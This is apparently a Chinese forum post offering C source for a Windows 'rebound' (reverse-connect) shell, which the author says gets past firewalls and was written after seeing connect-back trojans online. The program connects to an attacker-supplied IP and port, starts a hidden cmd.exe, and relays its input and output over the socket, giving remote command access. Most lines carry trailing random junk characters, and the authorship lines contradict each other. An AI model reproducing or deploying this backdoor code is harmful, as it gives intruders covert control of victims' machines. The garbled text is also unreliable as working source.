这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I`"B<=zi
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/* ============================== >5G2!Ns'
Rebound port in Windows NT $#E?`At{I
By wind,2006/7 CDOqdBQ
===============================*/ N4y$$.uv2
#include doM}vh)6
#include `uK_}Vy_
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); u7R:7$H
SOCKET sClient; pI*/-!I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c}(fmJB&(
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void main(int argc,char **argv) p<%76H
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{ t<'-?B2g
WSADATA stWsaData; ^}nz^+R
int nRet; ra#s!m1
SOCKADDR_IN stSaiClient,stSaiServer; % heX06
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if(argc != 3) 'Y`.0T[&
{ QI\ &D)
printf("Useage:\n\rRebound DestIP DestPort\n"); @k.j6LKbc
return; eyPh^c]?`8
} gHCk;dmq81
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WSAStartup(MAKEWORD(2,2),&stWsaData); eLC}h %
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zr!he$8(2
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stSaiClient.sin_family = AF_INET; r[2N;U
stSaiClient.sin_port = htons(0); GWP;;x%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X2ShxD|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d3
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{ i^hgs`hvU
printf("Bind Socket Failed!\n"); qSj$0Hq5XI
return; p_z_d6?
} ZUE?19GA
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stSaiServer.sin_family = AF_INET; T/8*c0mU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GUUVE@Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :m|%=@]`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \gd.Bl
{ QC+oSb!!?
printf("Connect Error!"); <cTusC<
return; etbB;!6
} tg%U2+.q
OutputShell(); Y>eypfK"
} K]q9wR'q
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void OutputShell() ?V|t7^+:
{ k:D;C3vJd
char szBuff[1024]; ,XmTKOc
SECURITY_ATTRIBUTES stSecurityAttributes; NNUm=g^
OSVERSIONINFO stOsversionInfo; G[U'-a}I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C+/D!ZH%P
STARTUPINFO stStartupInfo; O{"
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char *szShell; ((BuBu>
PROCESS_INFORMATION stProcessInformation; nx<q]Juv\
unsigned long lBytesRead; Y)%CxaO`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K<`"Sr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g2
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stSecurityAttributes.lpSecurityDescriptor = 0; U4hsbraz
stSecurityAttributes.bInheritHandle = TRUE; S9Kay'.aJ(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <{\UE~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^%|(dMo4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n1Ag o3NM
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7QdU|1]
stStartupInfo.wShowWindow = SW_HIDE; E%L]ifA9!
stStartupInfo.hStdInput = hReadPipe; P<iS7Ys+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^:0NKq\
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GetVersionEx(&stOsversionInfo); H^s@qh)L
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switch(stOsversionInfo.dwPlatformId) Q7PqN1jTE
{ IyE9G:fY
case 1: $;<h<#_n;
szShell = "command.com"; ; *G[3kk
break; *GsrG*OM*D
default: XK:KWqW
szShell = "cmd.exe"; 2fc8w3
break; 22?9KZ`Z=
} 7S<Z&1(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A/NwM1z[o)
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send(sClient,szMsg,77,0); 38P_wf~\
while(1) p-U'5<n
{ J[<3Je=>$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^=)? a;V
if(lBytesRead) ,wmPK;j
{ `m5cU*@D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dy u brIG
send(sClient,szBuff,lBytesRead,0); rn1FCJ<;H
} ?5m[Qc(<
else *(&,&$1K
{ A0*u(15%
lBytesRead=recv(sClient,szBuff,1024,0); gM|X":j
if(lBytesRead<=0) break; SJVqfi3A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8xUmg&
} ;8sEE?C$g
} (bo{vX
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return; Rkfr4
}